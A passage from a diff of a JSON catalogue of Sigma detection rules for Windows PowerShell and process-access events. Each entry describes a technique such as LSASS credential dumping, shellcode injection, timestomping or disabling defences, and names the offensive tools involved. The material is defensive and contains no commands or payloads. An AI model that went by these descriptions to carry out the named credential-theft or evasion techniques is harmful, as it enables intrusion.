"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_test_netconnection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_test_netconnection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n", + "uuid": "c6438007-e081-42ce-9483-b067fbef33c3", + "value": "Powershell Timestomp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://www.offensive-security.com/metasploit-unleashed/timestomp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2021/08/03", + "filename": "posh_ps_timestomp.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", + "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152", + "value": "Powershell Trigger Profiles by Add_Content", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_trigger_profiles.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.013" + ], + "creation_date": "2021/08/18", + "filename": "posh_ps_trigger_profiles.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request POST or PUT methods (including aliases) via Windows PowerShell command", + "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb", + "value": "Windows PowerShell Upload Web Request", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md", + "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_upload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_upload.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/17", + "filename": "posh_ps_using_set_service_to_hide_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request methods (including aliases) via Windows PowerShell command", + "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba", + "value": "Windows PowerShell Web Request", + "meta": { + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "posh_ps_web_request.yml", + "author": "James Pemberton / @4A616D6573", + "level": "medium", + "falsepositive": [ + "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class", + "uuid": "91109523-17f0-4248-a800-f81d9e7c081d", + "value": "PowerShell WMI Win32_Product Install MSI", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/04/24", + "filename": "posh_ps_win32_product_install_msi.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.", + "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d", + "value": "Windows Firewall Profile Disabled", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "http://woshub.com/manage-windows-firewall-powershell/", + "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2021/10/12", + "filename": "posh_ps_windows_firewall_profile_disabled.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n", + "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0", + "value": "Winlogon Helper DLL", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2019/10/21", + "filename": "posh_ps_winlogon_helper_dll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", + "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", + "value": "Windows Defender Exclusions Added via Powershell", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/16", + "filename": "posh_ps_win_defender_exclusions_added.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects parameters used by WMImplant", + "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", + "value": "WMImplant Hack Tool", + "meta": { + "refs": [ + "https://github.com/FortyNorthSecurity/WMImplant", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ], + "creation_date": "2020/03/26", + "filename": "posh_ps_wmimplant.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Administrative scripts that use the same keywords." + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.", + "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85", + "value": "Powershell WMI Persistence", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2021/08/19", + "filename": "posh_ps_wmi_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts", + "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b", + "value": "WMIC Unquoted Services Path Lookup", + "meta": { + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "posh_ps_wmi_unquoted_service_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", + "value": "Powershell XML Execute Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/19", + "filename": "posh_ps_xml_iex.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects shellcode injection by Metasploit's migrate and Empire's psinject", + "uuid": "250ae82f-736e-4844-a68b-0b5e8cc887da", + "value": "Shellcode Injection", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_shellcode_inject_msf_empire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2022/03/11", + "filename": "process_access_win_shellcode_inject_msf_empire.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Empire's csharp_exe payload uses 0x1f3fff for process enumeration as well" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious access to Lsass handle via a call trace to \"seclogon.dll\"", + "uuid": "472159c5-31b9-4f56-b794-b766faa8b0a7", + "value": "Suspicious LSASS Access Via MalSecLogon", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", + "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/process_access_win_susp_seclogon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/06/29", + "filename": "process_access_win_susp_seclogon.yml", + "author": "Samir Bousseaden (original elastic rule), Nasreddine Bencherchali (sigma)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", + "value": "CMSTP Execution Process Access", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003", + "attack.execution", + "attack.t1559.001", + "attack.g0069", + "attack.g0080", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "proc_access_win_cmstp_execution_by_access.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a typical pattern of a CobaltStrike BOF which inject into other processes", + "uuid": "09706624-b7f6-455d-9d02-adee024cee1d", + "value": "CobaltStrike BOF Injection Pattern", + "meta": { + "refs": [ + "https://github.com/boku7/injectAmsiBypass", + "https://github.com/boku7/spawn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "proc_access_win_cobaltstrike_bof_injection_pattern.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools", + "uuid": "32d0d3e2-e58d-4d41-926b-18b520b2b32d", + "value": "Credential Dumping Tools Accessing LSASS Memory", + "meta": { + "refs": [ + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002", + "car.2019-04-004" + ], + "creation_date": "2017/02/16", + "filename": "proc_access_win_cred_dump_lsass_access.yml", + "author": "Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community (update)", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; please add more filters" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", + "uuid": "3f3f3506-1895-401b-9cc3-e86b16e630d0", + "value": "Direct Syscall of NtOpenProcess", + "meta": { + "refs": [ + "https://medium.com/falconforce/falconfriday-direct-system-calls-and-cobalt-strike-bofs-0xff14-741fa8e1bdd6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_direct_syscall_ntopenprocess.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2021/07/28", + "filename": "proc_access_win_direct_syscall_ntopenprocess.yml", + "author": "Christian Burkard, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon", + "uuid": "d29ada0f-af45-4f27-8f32-f7b77c3dbc4e", + "value": "SysmonEnte Usage", + "meta": { + "refs": [ + "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", + "https://github.com/codewhitesec/SysmonEnte/", + "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "proc_access_win_hack_sysmonente.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles", + "uuid": "b1bd3a59-c1fd-4860-9f40-4dd161a7d1f5", + "value": "HandleKatz Duplicating LSASS Handle", + "meta": { + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_handlekatz_lsass_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1003.001" + ], + "creation_date": "2022/06/27", + "filename": "proc_access_win_handlekatz_lsass_access.yml", + "author": "Bhabesh Raj (rule), @thefLinkk", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", + "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", + "value": "Suspect Svchost Memory Asccess", + "meta": { + "refs": [ + "https://github.com/hlldz/Invoke-Phant0m", + "https://twitter.com/timbmsft/status/900724491076214784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2020/01/02", + "filename": "proc_access_win_invoke_phantom.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\nAn example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\nit will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\nAdding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\nmost of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\nThe latter should also be considered suspicious.\n", + "uuid": "5f113a8f-8b61-41ca-b90f-d374fa7e4a39", + "value": "Suspicious In-Memory Module Execution", + "meta": { + "refs": [ + "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055.001", + "attack.t1055.002" + ], + "creation_date": "2019/10/27", + "filename": "proc_access_win_in_memory_assembly_execution.yml", + "author": "Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro", + "level": "low", + "falsepositive": [ + "SysInternals Process Explorer" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects LSASS process access by LaZagne for credential dumping.", + "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", + "value": "Credential Dumping by LaZagne", + "meta": { + "refs": [ + "https://twitter.com/bh4b3sh/status/1303674603819081728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0349" + ], + "creation_date": "2020/09/09", + "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", + "author": "Bhabesh Raj, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the process injection of a LittleCorporal generated Maldoc.", + "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", + "value": "LittleCorporal Generated Maldoc Injection", + "meta": { + "refs": [ + "https://github.com/connormcgarr/LittleCorporal", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1055.003" + ], + "creation_date": "2021/08/09", + "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", + "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", + "value": "Load Undocumented Autoelevated COM Interface", + "meta": { + "refs": [ + "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", + "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/07", + "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", + "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", + "value": "Lsass Memory Dump via Comsvcs DLL", + "meta": { + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/20", + "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", + "value": "LSASS Memory Dump", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", + "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2019/04/03", + "filename": "proc_access_win_lsass_memdump.yml", + "author": "Samir Bousseaden, Michael Haag", + "level": "high", + "falsepositive": [ + "False positives are present when looking for 0x1410. Exclusions may be required." + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", + "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", + "value": "LSASS Access from White-Listed Processes", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/02/10", + "filename": "proc_access_win_lsass_memdump_evasion.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, since these tools shouldn't access lsass.exe at all" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", + "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", + "value": "LSASS Memory Access by Tool Named Dump", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/02/10", + "filename": "proc_access_win_lsass_memdump_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rare programs that contain the word dump in their name and access lsass" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", + "value": "WerFault Accassing LSASS", + "meta": { + "refs": [ + "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2012/06/27", + "filename": "proc_access_win_lsass_werfault.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Actual failures in lsass.exe that trigger a crash dump (unlikely)", + "Unknown cases in which WerFault accesses lsass.exe" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", + "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", + "value": "Malware Shellcode in Verclsid Target Process", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/837743453039534080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2017/03/04", + "filename": "proc_access_win_malware_verclsid_shellcode.yml", + "author": "John Lambert (tech), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", + "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", + "value": "Mimikatz through Windows Remote Management", + "meta": { + "refs": [ + "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006", + "attack.s0002" + ], + "creation_date": "2019/05/20", + "filename": "proc_access_win_mimikatz_trough_winrm.yml", + "author": "Patryk Prauze - ING Tech", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects LSASS process access by pypykatz for credential dumping.", + "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", + "value": "Credential 